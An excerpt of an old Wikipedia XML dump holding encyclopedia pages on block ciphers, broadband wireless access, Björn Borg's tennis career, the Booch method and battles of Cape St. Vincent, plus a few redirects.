[[Image:Decryption.png|thumb|225px|Decryption]]

In [[cryptography]], a '''block cipher''' or '''pseudorandom function''' ('''PRF''') is a [[symmetric key algorithm|symmetric key]] [[cipher]] which operates on fixed-length groups of bits, termed ''blocks'', with an unvarying transformation. When encrypting, a block cipher might take a (for example) 128-bit block of [[plaintext]] as input, and output a corresponding 128-bit block of ciphertext. The exact transformation is controlled using a second input &amp;mdash; the secret [[key (cryptography)|key]]. Decryption is similar: the decryption algorithm takes a 128-bit block of ciphertext together with the secret key, and yields the original 128-bit block of plaintext.

To encrypt messages longer than the [[block size (cryptography)|block size]] (128 bits in the above example), a [[block cipher modes of operation|mode of operation]] is used.

Block ciphers can be contrasted with [[stream cipher]]s; a stream cipher operates on individual digits one at a time, and the transformation varies during the encryption. The distinction between the two types is not always clear-cut: a block cipher, when used in certain [[block cipher modes of operation|modes of operation]], acts effectively as a stream cipher.

An early and highly influential block cipher design was the [[Data Encryption Standard]] (DES), developed at [[IBM]] and published as a standard in [[1977]]. A successor to DES, the [[Advanced Encryption Standard]] (AES), was adopted in [[2001]].

==Generalities==
A block cipher consists of two paired algorithms, one for encryption, ''E'', and another for decryption, ''E&lt;sup&gt;-1&lt;/sup&gt;''. Both algorithms accept two inputs: an input block of size ''n'' bits and a  [[key (cryptography)|key]] of size ''k'' bits, yielding an ''n''-bit output block. For any one fixed key, decryption is the [[Inverse function]] of encryption, so that
:&lt;math&gt;E_K^{-1}(E_K(M))=M&lt;/math&gt;
for any block ''M'' and key ''K''.

For each key ''K'', ''E&lt;sub&gt;K&lt;/sub&gt;'' is a [[permutation]] (a [[bijective]] mapping) over the set of input blocks. Each key selects one permutation from the possible set of &lt;math&gt;2^n!&lt;/math&gt;.

The [[block size (cryptography)|block size]], ''n'', is typically 64 or 128 bits, although some ciphers have a variable block size. 64 bits was the most common length until the mid-1990s, when new designs began to switch to the longer 128-bit length. One of several [[block cipher modes of operation|modes of operation]] is generally used along with a [[padding (cryptography)|padding]] scheme to allow plaintexts of arbitrary lengths to be encrypted. Each mode has different characteristics in regard to error propagation, ease of random access and vulnerability to certain types of attack. Typical [[key size]]s (''k'') include 40, 56, 64, 80, 128, 192 and 256 bits. [[As of 2006]], 80 bits is normally taken as the minimum key length needed to prevent [[brute force attack]]s.

===Iterated block ciphers===
Most block ciphers are constructed by repeatedly applying a simpler function. This approach is known as ''iterated block cipher'' (see also [[product cipher]]). Each iteration is termed a ''round'', and the repeated function is termed the ''round function''; anywhere between 4 to 32 rounds are typical.

Many block ciphers can be categorised as [[Feistel network]]s, or, as more general [[substitution-permutation network]]s. [[Arithmetic]] operations, [[Logic gate|logical operations]] (especially [[XOR]]), [[S-box]]es and various [[permutation]]s are all frequently used as components.

==History==

[[Lucifer (cipher)|Lucifer]] is generally considered to be the first civilian block cipher, developed at [[IBM]] in the [[1970s]] based on work done by [[Horst Feistel]]. A revised version of the algorithm was adopted as a [[United States|US]] government [[Federal Information Processing Standard|FIPS]] standard, the [[Data Encryption Standard]] (DES). It was chosen by the US National Bureau of Standards (NBS) after a public invitation for submissions and some internal changes by [[NBS]] (and, potentially, the [[NSA]]). DES was publicly released in [[1976]] and has been widely used. 

DES was designed, among other things, to resist a certain cryptanalytic attack known to the NSA and rediscovered by IBM, though unknown publicly until rediscovered again and published by [[Eli Biham]] and [[Adi Shamir]] in the late [[1980s]]. The technique is called [[differential cryptanalysis]] and remains one of the few general attacks against block ciphers; [[linear cryptanalysis]] is another, but may have been unknown even to NSA, prior to its publication by [[Mitsuru Matsui]]. DES prompted a large amount of other work and publications in [[cryptography]] and [[cryptanalysis]] in the open community and it inspired many new cipher designs.

DES has a block size of 64 bits and a [[key size]] of 56 bits. 64-bit blocks became common in block cipher designs after DES. [[Key (cryptography)|Key]] length depended on several factors, including government regulation. Many observers in the 1970s commented that the 56-bit key length used for DES was too short. As time went on, its inadequacy became apparent, especially after a special purpose machine designed to break DES was demonstrated in [[1998]] by the [[Electronic Frontier Foundation]]. A variant of DES, [[Triple DES]], triple-encrypts blocks with (usually) two different keys (2TDES), resulting in a 112-bit keys and 80-bit security. It was widely adopted as a replacement and is still ([[2004]]) considered secure.

DES has been superseded as a Federal Standard by the [[Advanced Encryption Standard]] (AES), adopted by [[National Institute of Standards and Technology]] (NIST) in [[2001]] after a 5-year [[Advanced Encryption Standard process|public competition]]. The cipher was developed by two [[Belgian]] cryptographers, [[Joan Daemen]] and [[Vincent Rijmen]], and submitted under the name ''Rijndael.'' (See [[Advanced Encryption Standard|AES]] page for pronunciation.) AES has a block size of 128 bits and three possible [[key size]]s, 128, 192 and 256 bits. The US Government permits the use of AES to protect [[classified information]] in systems approved by [[NSA]].

==Cryptanalysis==
In addition to linear and differential cryptanalysis, there is a growing catalog of attacks: truncated and partial differential cryptanalysis, slide attacks, [[boomerang attack]]s, square and integral attacks, the [[XSL attack]], impossible differential cryptanalysis and algebraic attacks. For a new block cipher design to have any credibility, it must demonstrate evidence of security against known attacks.

== Hash functions based on block ciphers ==
:''Main article: [[Hash functions based on block ciphers]]''

There are several methods to use a block cipher to build a [[cryptographic hash function]]. The methods resembles the [[block cipher modes of operation]] usually used for encryption. 

Using a block cipher as a hash function usually is much slower than using a specially designed hash function. However, in some cases, it might be easier since it means just implementing a block cipher and then using it both as a block cipher and a hash function. It can also save code space in very tiny [[embedded system]]s like for instance [[smart card]]s or nodes in cars or other machines.

==See also==
*[[Advanced Encryption Standard process]]
*[[Cryptography]]
*[[Cipher block chaining]]
*[[Confusion and diffusion]]
*[[Topics in cryptography]]

==External links==
* [http://www.users.zetnet.co.uk/hopwood/crypto/scan/cs.html A list of many symmetric algorithms, the majority of which are block ciphers.]
* [http://www.mat.dtu.dk/people/Lars.R.Knudsen/bc.html The block cipher lounge]
* [http://www.rsasecurity.com/rsalabs/faq/2-1-4.html RSA FAQ, &quot;What is a block cipher?&quot;]

{{Block_ciphers}}

[[Category:Block ciphers]]

[[cs:Bloková šifra]]
[[de:Blockverschlüsselung]]
[[es:Cifrado por bloques]]
[[fr:Chiffrement par bloc]]
[[it:Cifratura a blocchi]]
[[he:צופן בלוקים]]
[[nl:Blokvercijfering]]
[[ja:ブロック暗号]]
[[pl:Szyfr blokowy]]</text>
    </revision>
  </page>
  <page>
    <title>Broadband wireless access</title>
    <id>4595</id>
    <revision>
      <id>38739380</id>
      <timestamp>2006-02-08T08:11:14Z</timestamp>
      <contributor>
        <username>Willcannings</username>
        <id>900977</id>
      </contributor>
      <comment>Clarified that licensing spectrum from the FCC is only valid in the US</comment>
      <text xml:space="preserve">[[Image:Dishes_ft_worth2.JPG|thumb|right|200px|Three 45 Mbit/s wireless dishes on top of 307 W. 7th Street Fort Worth TX]]
 

'''Broadband wireless access''' is a technology aimed at providing [[wireless]] access to [[data networks]], with high data rates. According to the [[IEEE 802.16|802.16-2004]] standard, broadband means 'having instantaneous [[bandwidth]] greater than around 1 [[MHz]] and supporting data rates greater than about 1.5 [[Megabit|Mbit]]/s'. From the point of view of connectivity, broadband wireless access is equivalent to broadband wired access, such as [[Asymmetric Digital Subscriber Line|ADSL]] or [[cable modem|cable modems]]. It is planned to be used in the next few years and is estimated to have a range of 50km (30 miles). 

Most widely used technologies are [[LMDS]] and [[MMDS]]. 
One particular broadband wireless access technology is being standardized by [[IEEE 802.16]] also known as [[WiMAX]].


'''Wireless Internet Service Providers (WISP)''' are usually found in rural areas where [[cable]] or [[DSL]] is not available.  A common case scenario is that a WISP will get large connection such as a T1 or DS3 and deliver it to a high point in the area such as a high rise or water tower.  Then the consumers will mount a small dish to the roof of their home or office and point it towards the high area.  Line of site is usually necessary for wireless access to work.  

A wireless connection can be either licensed or unlicensed.  In the US, licensed connections use a private spectrum the user has secured rights to from the [[FCC]]. In other countries, spectrum is licensed from the country's national radio communications authority (such as the [[ACMA]] in [[Australia]]). Licensing is usually expensive and often reserved for large companies who wish to guarantee private access to spectrum for use in point to point communication. Because of this, most wireless ISP's use unlicensed spectrum which is publicly shared and therefore more prone interference.  

Fact - This wireless technology has been around since the 1950s.  [[MCI]] stands for [[Microwave]] Communications Inc.


==See also==
*[[WiMAX]]
*[[IEEE 802.16]]
*[[HIPERMAN]]

==External links==
*[http://www.alcatel.com/publications/abstract.jhtml?repositoryItem=tcm%3A172-261821635 Universal Broadband Access - Going Wireless and Mobile ] Strategy White Paper from Alcatel


{{wireless-stub}}

[[Category:Network access]]</text>
    </revision>
  </page>
  <page>
    <title>Beryllium aluminium meta-silicate</title>
    <id>4597</id>
    <revision>
      <id>15902859</id>
      <timestamp>2002-02-28T19:52:46Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Beryl]]</comment>
      <text xml:space="preserve">#REDIRECT [[Beryl]]</text>
    </revision>
  </page>
  <page>
    <title>Boleslav I</title>
    <id>4599</id>
    <revision>
      <id>29259139</id>
      <timestamp>2005-11-26T03:34:04Z</timestamp>
      <contributor>
        <username>Piotrus</username>
        <id>59002</id>
      </contributor>
      <comment>redirect into disambig, too general</comment>
      <text xml:space="preserve">#REDIRECT [[Boleslaus I]]</text>
    </revision>
  </page>
  <page>
    <title>Boleslaw III</title>
    <id>4600</id>
    <revision>
      <id>32964510</id>
      <timestamp>2005-12-28T05:50:25Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Bolesław III Wrymouth]]</text>
    </revision>
  </page>
  <page>
    <title>Björn Borg</title>
    <id>4601</id>
    <revision>
      <id>42115680</id>
      <timestamp>2006-03-03T22:48:19Z</timestamp>
      <contributor>
        <ip>71.103.243.199</ip>
      </contributor>
      <comment>/* Career Overview */</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=2 width=280 style=&quot;margin: 0.5em 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 85%; clear:right&quot;
|+&lt;big&gt;'''Björn Borg'''&lt;/big&gt;
|-
| align=center colspan=&quot;2&quot; |
{| style=&quot;background:#f9f9f9;&quot; border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|- align=center
| &lt;!-- Unsourced image removed: [[Image:BjornBorg.jpg|200 px|Björn Borg]] --&gt;
|}
|-
| '''Country:''' || Sweden
|-
| '''Residence:''' || Monte Carlo, MON
|-
| '''Height:''' || 180 cm (5 ft 11 in)
|-
| '''Weight:''' || 73 kg (160 lb) 
|-
| '''Plays:''' || Right
|-
| '''Turned&amp;nbsp;pro:''' || 1973
|-
| '''Retired:''' || 1981
|-
| '''Highest&amp;nbsp;singles&amp;nbsp;ranking:''' || 1 (8/23/1977)
|-
| '''Singles&amp;nbsp;titles:''' || 57
|-
| '''Career prize money:''' || US$3,655,751
|-
! colspan=&quot;2&quot; bgcolor=&quot;#ffffff&quot; | Grand Slam Record&lt;br&gt;Titles: 11
|-
| Australian Open
| 3rd (1974)
|-
| French Open
| '''W''' (1974-5, 1978-81)
|-
| Wimbledon
| '''W''' (1976-80)
|-
| US Open
| F (1976, 1978, 1980-1)
|}

{{Audio|sv-Björn Borg.ogg|'''Björn Rune Borg''' }} ([[June 6]] [[1956]], [[Stockholm]], [[Sweden]])  is a former '''[[List of ATP number 1 ranked players|World No. 1]]''' [[tennis]] player. Entering the professional ranks as somewhat of a teenage prodigy, Borg retired early after an unusally brief eight-year career. After his rookie season, he opted to participate in only three grand slam tournaments per year, skipping the [[Australian Open]] in his final seven years of competition. Despite these things, he still managed to collect numerous records and 11 [[Grand Slam (tennis)|Grand Slam]] singles titles – five at [[Wimbledon championships|Wimbledon]] and a record six at the [[French Open]] – leading some to consider him the greatest male tennis player of all time. 

== Career Overview ==

As a child growing up in [[Södertälje]], a town near Stockholm, Borg became fascinated by a tennis racket which his father had won as a prize at a [[ping pong]] tournament. His father gave him the racket, beginning one of the brightest careers in tennis history.

In [[1972]], at the age of 15, Borg became one of the youngest players ever to represent his country in the [[Davis Cup]], and won his debut singles rubber in five sets over seasoned pro [[Onny Parun]] of New Zealand. Later that year, he won the Wimbledon junior singles title.

In [[1974]], aged 17 years and 11 months, Borg won his first top-level singles title at the [[Rome Masters|Italian Open]]. Two weeks later, he won his first Grand Slam title at the French Open. In the final, he came back from two sets down to defeat [[Manuel Orantes]] in five sets 2&amp;ndash;6, 6&amp;ndash;7, 6&amp;ndash;0, 6&amp;ndash;1, 6&amp;ndash;1. At the time, Borg was the youngest-ever male French Open champion (though the record has since been lowered by [[Mats Wilander]] in [[1982]], and [[Michael Chang]] in [[1989]]). 

Borg quickly gained a reputation for his strong base-line game, with powerful ground-strokes and a punishing doubled-fisted backhand. His great endurance and calm court demeanor earned him the nickname of the &quot;Ice Man&quot;. He hit the ball hard and high from the back of the court and brought it down with excessive top-spin, making it very difficult for opponents to attack him. In many ways, Borg developed the style of play which has come to dominate the game in the decades that followed.

Borg retained his French Open crown in [[1975]], when he beat [[Guillermo Vilas]] in straight sets in the final. 

1975 also saw Borg help Sweden to win its first ever Davis Cup title. He won two singles and one doubles rubber in the final as Sweden beat [[Czechoslovakia]] 3&amp;ndash;2. With his two singles wins in the final, Borg had put together a run of 19 consecutive wins in Davis Cup singles rubbers going back to [[1973]]. That was already a record at the time. But Borg never lost another Davis Cup singles rubber, and by the end of his career he had stretched that winning streak to 33 - a Davis Cup record which still stands.

With two French Open wins and a Davis Cup under his belt, Borg set his sights on winning Wimbledon. Borg did not make much of an impact at Wimbledon prior to [[1976]], and many people doubted whether his strong base-line game could be adapted to be successful on Wimbledon's fast-playing grass courts. But after two weeks of solid practice in serve-and-volley tactics, Borg swept through Wimbledon in 1976 without losing a set, defeating the much-favoured [[Ilie Năstase]] in straight sets in the final. Borg became the youngest male Wimbledon champion of the modern era at 20 years and 1 month (a record later broken by [[Boris Becker]] who won Wimbledon aged 17 in [[1985]]). Borg also reached the final of the 1976 [[U.S. Open (tennis)|US Open]], where he lost to [[Jimmy Connors]]. Some speculate that Borg surviving the first week of Wimbledon, when the courts were slick and fast, was the key to his success. The courts played slower in the second week which suited Borgs baseline game.   

Borg repeated his Wimbledon triumph in [[1977]], although this time he was pushed much harder. He won a thrilling five-set victory over [[Vitas Gerulaitis]] in the semi-finals 6-4, 3-6, 6-3, 3-6, 8-6 [http://news.bbc.co.uk/sport2/hi/tennis/wimbledon_history/3742097.stm]. In the final he was also pushed to five sets by Connors.

The end of the [[1970s]] and the start of the [[1980s]] saw Borg at the height of his powers. He won both the French Open and Wimbledon for three years running in [[1978]], [[1979]] and [[1980]]. He also won the season-ending [[Tennis Masters Cup|Masters]] title in 1979 and 1980. Borg was also runner-up at the US Open in 1978 (lost to Connors) and 1980 (lost to McEnroe). 

Borg's fifth consecutive Wimbledon title was won in an all-time great final in 1980 against the new up-and-coming star of men's tennis [[John McEnroe]]. In a 34-point fourth-set tie-breaker, Borg saved six sets-points and McEnroe saved five match-points before McEnroe finally won the tie-break 18-16. In the end, Borg's renowned mental toughness prevailed in the decisive fifth set, which he won 8-6.

Borg won what turned out to be his final Grand Slam title at the French Open in [[1981]]. In the final, he beat another of tennis' up-and-coming stars, [[Ivan Lendl]], in five sets. Borg's six French Open titles remains a record for a male player.

In making the final at Wimbledon in 1981, Borg stretched his winning streak at the All England Club to a record 41 matches. But it finally came to an end in the 1981 final, where McEnroe beat him in four sets.

Borg's last Grand Slam final was a four-set defeat to McEnroe at the 1981 US Open. The US Open was undoubtedly Borg's &quot;bogey tournament&quot;. He reached the final four times but never won. (Borg chose to make the journey to the [[Australian Open]] only once, in 1974, where he lost in the third round.) The U.S. open final is always played at night, to catch the prime-time sports viewing TV audience and Borg reputedly found himself hampered by playing under electric lights. He tried unsuccessfully to lobby U.S. representatives to shift the tournament to the afternoon. 

The spark seemed to have burned out of Borg's game by the end of 1981, and he was on the brink of burn-out. But Borg's announcement in [[1982]] that he was retiring from the game at the age of just 26 was a shock to the tennis world.

After retiring, Borg suffered a [[drug overdose]], was rumoured to have attempted [[suicide]] and had a turbulent relationship with his then-wife, the Italian singer [[Loredana Bertè]]. He later bounced back as the owner of the Björn Borg fashion label, whose most noted advertising campaigns asked Swedes (from the pages of a leading national newspaper) to &quot;Fuck for the Future&quot;.

In the early-[[1990s]] (possibly pushed by financial difficulties with his fashion label, which was not doing very well at the time), Borg attempted a comeback on the men's professional tennis tour. However this time around he was not at all successful. Playing with his old wooden rackets in an attempt to regain his once-indomitable touch, he lost his first comeback match in [[1991]] to [[Jordi Arrese]] at  the [[Monte Carlo Masters|Monte Carlo Open]]. A series of first-round losses to lowly-ranked players followed over the next two years. The closest he came to winning a match was in [[1993]] in [[Moscow]], when he pushed [[Alexander Volkov (tennis player)|Alexander Volkov]] to three sets and lost a final-set tie-breaker 9&amp;ndash;7. After that match, he retired from the tour for good and confined himself to playing on the senior tour, with modern rackets, where he has delighted crowds by renewing his old rivalries with McEnroe and Connors.

Borg was ranked the World No. 1 in six different stretches between 1977 and 1981, totaling 109 weeks. During his career, he won a total of 61 top-level singles and 4 doubles titles. Borg was inducted into the [[International Tennis Hall of Fame]] in [[Newport, Rhode Island]] in [[1987]]. 

Borg is one of only three individuals to have won the [[BBC Sports Personality of the Year Overseas Personality]] Award twice. (He won it in 1979 and [[1984]]).

Financial difficulties continue to trouble Borg.  On 3 March 2006, Bonhams Auction House in [[London]] announced that it would auction Borg's Wimbledon trophies and two of his winning rackets on 21 June 2006.[http://sports.yahoo.com/ten/news?slug=ap-borg-auction&amp;prov=ap&amp;type=lgns]

==Grand Slam finals==

===Wins (11)===

 '''Year'''    '''Championship'''           '''Opponent in Final'''        '''Score in Final'''
 1974    French Open            Manuel Orantes           2&amp;ndash;6, 6&amp;ndash;7, 6&amp;ndash;0, 6&amp;ndash;1, 6&amp;ndash;1
 1975    French Open            Guillermo Vilas          6&amp;ndash;2, 6&amp;ndash;3, 6&amp;ndash;4
 1976    Wimbledon              Ilie Năstase             6&amp;ndash;4, 6&amp;ndash;2, 9&amp;ndash;7
 1977    Wimbledon              Jimmy Connors            3&amp;ndash;6, 6&amp;ndash;2, 6&amp;ndash;1, 5&amp;ndash;7, 6&amp;ndash;4
 1978    French Open            Guillermo Vilas          6&amp;ndash;1, 6&amp;ndash;1, 6&amp;ndash;3
 1978    Wimbledon              Jimmy Connors            6&amp;ndash;2, 6&amp;ndash;2, 6&amp;ndash;3
 1979    French Open            Victor Pecci             6&amp;ndash;3, 6&amp;ndash;1, 6&amp;ndash;7, 6&amp;ndash;4
 1979    Wimbledon              Roscoe Tanner            6&amp;ndash;7, 6&amp;ndash;1, 3&amp;ndash;6, 6&amp;ndash;3, 6&amp;ndash;4
 1980    French Open            Vitas Gerulaitis         6&amp;ndash;4, 6&amp;ndash;1, 6&amp;ndash;2
 1980    Wimbledon              John McEnroe             1&amp;ndash;6, 7&amp;ndash;5, 6&amp;ndash;3, 16&amp;ndash;18, 8&amp;ndash;6
 1981    French Open            Ivan Lendl               6&amp;ndash;1, 4&amp;ndash;6, 6&amp;ndash;2, 3&amp;ndash;6, 6&amp;ndash;1

===Runner-ups (5)===

 '''Year'''    '''Championship'''           '''Opponent in Final'''        '''Score in Final'''
 1976    US Open                Jimmy Connors            6&amp;ndash;4, 3&amp;ndash;6, 7&amp;ndash;6, 6&amp;ndash;4
 1978    US Open                Jimmy Connors            6&amp;ndash;4, 6&amp;ndash;2, 6&amp;ndash;2
 1980    US Open                John McEnroe             7&amp;ndash;6, 6&amp;ndash;1, 6&amp;ndash;7, 5&amp;ndash;7, 6&amp;ndash;4
 1981    Wimbledon              John McEnroe             4&amp;ndash;6, 7&amp;ndash;6, 7&amp;ndash;6, 6&amp;ndash;4
 1981    US Open                John McEnroe             4&amp;ndash;6, 6&amp;ndash;2, 6&amp;ndash;4, 6&amp;ndash;3

== Singles titles (61) ==

* 1974
** Adelaide, Bastad, Boston, London WCT, '''French Open''', [[Rome Masters|Rome]], Sao Paulo WCT

* 1975
** Barcelona, Bologna WCT, Boston, Richmond-WCT, '''French Open'''

* 1976
** Boston, Dallas WCT, Dusseldorf, Sao Paulo WCT, Toronto Indoor WCT, '''Wimbledon'''

* 1977
** Barcelona, Basel, Cologne, Denver, Madrid, Memphis, [[Monte Carlo Masters|Monte Carlo WCT]], Nice, Pepsi Grand Slam, Wembley, '''Wimbledon'''

* 1978
** Bastad, Birmingham WCT, Las Vegas, Milan WCT, Pepsi Grand Slam, '''French Open''', [[Rome Masters|Rome]], Tokyo Indoor, '''Wimbledon'''

* 1979
** Bastad, Las Vegas, [[Tennis Masters Cup|Masters]], [[Monte Carlo Masters|Monte Carlo]], [[Canada Masters|Montreal / Toronto]], Palermo, Pepsi Grand Slam, Richmond WCT, '''French Open''', Rotterdam, Tokyo Indoor, '''Wimbledon'''

* 1980
** Las Vegas, [[Tennis Masters Cup|Masters]], [[Monte Carlo Masters|Monte Carlo]],  Nice, Pepsi Grand Slam, '''French Open''', Stockholm, '''Wimbledon'''

* 1981
** Geneva, '''French Open''', Stuttgart Outdoor 


== Records and Trivia ==

===Grand Slam Records===
* Won more Grand Slam titles in the Open Era (11) and more Wimbledons (5) than any player until [[Pete Sampras]] (7). This despite competing in the Australian Open only once, at the age of 17.
* Won more French Championships (6) than any other male player in tennis history.
* Won 4 consecutive French championships, an alltime record.  His streak of 28 consecutive matches was broken, not by defeat, but by his subsequent absence and retirement. 
* Won more consecutive Wimbledons (5) than any man in the modern era.  Only [[William Renshaw|Willie Renshaw]] won more consecutive titles there (1881&amp;ndash;86)&amp;mdash; and in Renshaw's day, the defending champion played only one match, the Challenge Round.  After the adoption of the present-day rules, [[Fred Perry]] established a record of three consecutive Wimbledons in 1932-34, until Borg equalled it in 1978.  Borg's streak of 41 consecutive match wins at Wimbledon remains an alltime record. Sampras has come closest to this record with four consecutive Wimbledons in 1997-2000 (and 31 consecutive match wins).
* Played in 6 consecutive Wimbledon finals, still a record since the abolition of the Challenge Round in 1922.
* Played in 4 consecutive French finals, an Open-Era record.
* Played in 16 Grand Slam finals, a record for the Open Era (and second in tennis history only to 17 by [[Rod Laver]]) until [[Ivan Lendl]] played in 19 (and Sampras in 18).
* Won at least one Grand Slam title for 8 consecutive years (1974&amp;ndash;1981), an alltime record. Only Sampras has matched this (1993&amp;ndash;2000).
* Defeated more players (9) in Grand Slam finals than any male player in history.  Sampras was able also to tie this mark.
* Won 11 Grand Slam titles out of 27 tournaments played, giving him a record 41% winning percentage for the Open Era.
* In Grand Slam tournaments, his match record is 141&amp;ndash;16, giving him an 89.8% winning percentage, better than any male player ever.  The only other male players in the Open Era with winning percentages over 80% are [[Jimmy Connors]] (81.9%) and Ivan Lendl (81.8%).
* His 11 Grand Slam titles put him fourth on the all-time list, tied with Laver, and behind Sampras (14) and [[Roy Emerson]] (12).

===Youngest to win===
* In 1972 he became the youngest-ever winner of a Davis Cup match, at age 15.
* In 1974, one month before his 18th birthday, he became the youngest winner of the Italian Open up to that time.
* In 1974, only days after his 18th birthday, he became the youngest man ever to hold a Grand Slam title.  He retained that distinction until another Swede, [[Mats Wilander]], took the French Open in 1982.
* At 18, he was the youngest winner of the U.S. Professional Championships until [[Aaron Krickstein]] won in 1983.
* In 1976 at age 20, Borg became the youngest winner of the Open Era at Wimbledon until [[Boris Becker]] became the youngest Grand Slam winner of all time by taking Wimbledon in 1985.
* Won his 11th Grand Slam in 1981 at age 25, the youngest to that number of titles.  By comparison, Sampras won his 11th at almost 27, Emerson at 30, Laver at 31.

===Match competition===
* Compiled 576-124 singles record, winning more than 82% of the matches he played. By comparison, Sampras had a 77% winning percentage at retirement. 
* Won 14 consecutive five-set matches before losing to [[John McEnroe]] at the 1980 U.S. Open, a record for the Open Era (and possibly for tennis history).  
* In career five-set matches he is 24-4, his winning percentage of .857 unrivalled in the Open Era, with Aaron Krickstein in second place at .757 (or 28-9). Five of his wins were in Grand Slam finals -- a mark that surpassed [[Bill Tilden]] (who won four) and has remained unequalled.
* In 1980 he won the longest-ever Wimbledon final up to that time, 3 hours and 53 minutes (the record stood until 1982).  That year he also lost the longest-ever U.S. Championships final up to that time, 4 hours and 13 minutes (a mark broken in 1988).
* Won the longest tiebreak of the Open Era, 20-18 in the third set of his first round match at the 1973 Wimbledon -- a mark that has been tied twice (by Federer and [[Goran Ivanišević]]) but not broken.
* Won 19 consecutive points on serve in the fifth set -- a feat perhaps unequalled at any time -- on two occasions, his 1980 Wimbledon final against [[John McEnroe]] and his 1980 U.S. Open quarterfinal against [[Roscoe Tanner]].

===Career winning streaks===
* On the list of Open Era winning streaks, Borg is both first (49 tour matches won in 1978) and fifth (40 in 1979&amp;ndash;80). The only other men with winning streaks of 40+ matches are [[Guillermo Vilas]] (46), Ivan Lendl (44), and McEnroe (42).  
* Holds the record for most consecutive wins on grass, with 41 victories (all at Wimbledon), [[Roger Federer]] currently has a 36 match winning streak (2003&amp;ndash;Present). Borg won all his matches at Wimbledon while Federer plays a lesser grass tournament in Halle in addition to Wimbledon.
* Holds the Davis Cup record singles winning streak at 33 consecutive victories -- a streak broken only by retirement.
* Holds second place for most consecutive wins on clay, with 44 victories in 1977-79. Only Vilas holds more with 57.

===Miscellaneous===
* Captured 62 titles over his brief career, tying him with Vilas for fifth on the all time list of players with most career titles behind Connors (109), Lendl (94), McEnroe (77), and Sampras (64).
* Retired with $3.6 million in career prize money, a record at the time.
* Was inducted into the International Tennis Hall of Fame in 1987 at only 30 years of age.
* Finally, in 1999 Borg was elected the best Swedish sportsman ever by a jury in his homecountry.  His tennis rivals included a pair of world #1's: Wilander (who won 7 Grand Slam titles) and [[Stefan Edberg]] (who won 6).

== See also == 
*[[List of Swedes in sports]]


==External links==
*[http://www.atptennis.com/en/players/playerprofiles/default2.asp?playersearch=Bjorn+Borg Official ATP profile]
*[http://www.tennisfame.com/enshrinees/bjorn_borg.html International Tennis Hall of Fame profile]
*[http://www.wimbledon.org/en_GB/history/bjorn_borg.html Official Wimbledon website profile]
*[http://news.bbc.co.uk/sport2/hi/tennis/wimbledon_history/3742099.stm BBC profile]
*[http://www.daviscup.com/teams/player.asp?player=10002258 Davis Cup record]
*[http://www.bjornborg.20m.com Björn Borg fan club]
*[http://www.bjornborg.net Björn Borg fashion company]

{{Tennis World Number Ones (men)}}
{{French Open men's singles champions}}
{{Wimbledon men's singles champions}}

[[Category:1956 births|Borg, Björn]]
[[Category:Living people|Borg, Björn]]
[[Category:Swedish tennis players|Borg, Björn]]
[[Category:Stockholmians|Borg, Björn]]
[[Category:Wimbledon champions|Borg, Björn]]

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[[zh:比約·博格]]</text>
    </revision>
  </page>
  <page>
    <title>Booch method</title>
    <id>4603</id>
    <revision>
      <id>40292378</id>
      <timestamp>2006-02-19T16:05:39Z</timestamp>
      <contributor>
        <username>Localzuk</username>
        <id>687650</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">{{mergeto|Object-oriented analysis and design}}

The '''Booch method''' is a technique used in [[software engineering]]. It is an [[object modeling language]] and methodology that was widely used in [[object-oriented analysis and design]]. It was developed by [[Grady Booch]] while at [[Rational Software]] (now part of [[IBM]]).

The notation aspect of the Booch method has now been superseded by the [[Unified Modeling Language]] (UML), which features graphical elements from the Booch method along with elements from the [[Object-modeling technique]] (OMT) and [[Object-oriented software engineering]] (OOSE).

Methodological aspects of the Booch method have been incorporated into several methodologies and processes, the primary such methodology being the [[Rational Unified Process]] (RUP).

==See also==
*[[Object modeling language]]
*[[Software engineering]]

==References== 
*{{cite book
 | first = Grady
 | last = Booch
 | authorlink = Grady Booch
 | year = 1993
 | title = Object-oriented Analysis and Design with Applications
 | edition = 2nd ed.
 | publisher = Redwood City: Benjamin Cummings
 | id = ISBN 0-8053-5340-2
}}
*{{cite book
 | first = Robert Cecil
 | last = Martin
 | authorlink = Robert Cecil Martin
 | year = 1995
 | title = Designing Object-Oriented C++ Applications using the Booch Method
 | publisher = Prentice-Hall
 | id = ISBN 0-13-203837-4
}}

==External links==
*[http://www.ifra.ing.tu-bs.de/docs/BoochReferenz/ The Booch Method Reference] by Philipp Schneider (includes postscript version), featuring [http://www.ifra.ing.tu-bs.de/docs/BoochReferenz/class.html Class diagrams], [http://www.ifra.ing.tu-bs.de/docs/BoochReferenz/object.html Object diagrams], [http://www.ifra.ing.tu-bs.de/docs/BoochReferenz/state.html State Event diagrams] and [http://www.ifra.ing.tu-bs.de/docs/BoochReferenz/module.html Module diagrams].


----


[[Category:Software engineering]]

[[fr:Booch]]
[[pl:Metoda Boocha]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Cape St. Vincent</title>
    <id>4604</id>
    <revision>
      <id>37103791</id>
      <timestamp>2006-01-28T18:25:03Z</timestamp>
      <contributor>
        <ip>81.173.191.128</ip>
      </contributor>
      <text xml:space="preserve">Three naval battles have taken place near [[Cape St. Vincent]] on the southern coast of [[Portugal]], near the [[Strait of Gibraltar]]:
*The '''[[Battle of Cape St. Vincent (1693)]]''' took place during the [[Nine Years War]]. 
*The '''[[Battle of Cape St. Vincent (1780)|Battle of Cape St. Vincent]]''' ([[January 16]] [[1780]]) was a victory of a British fleet under Admiral Sir [[George Rodney]] over a Spanish squadron under Don Juan de Lángara in the [[American War of Independence]].
*The '''[[Battle of Cape St. Vincent (1797)|Battle of Cape St. Vincent]]''' ([[14 February]] [[1797]]) was a British victory over the Spanish in the [[Wars of the French Revolution]].
*The '''[[Battle of Cape St. Vincent (1833)|Battle of Cape St. Vincent]]''' ([[July 5]] [[1833]]) was a British victory under Sir [[Charles Napier (naval officer)|Charles Napier]] over the fleet of [[Miguel of Portugal]] in the [[Liberal Wars]].

{{disambig}}</text>
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  </page>
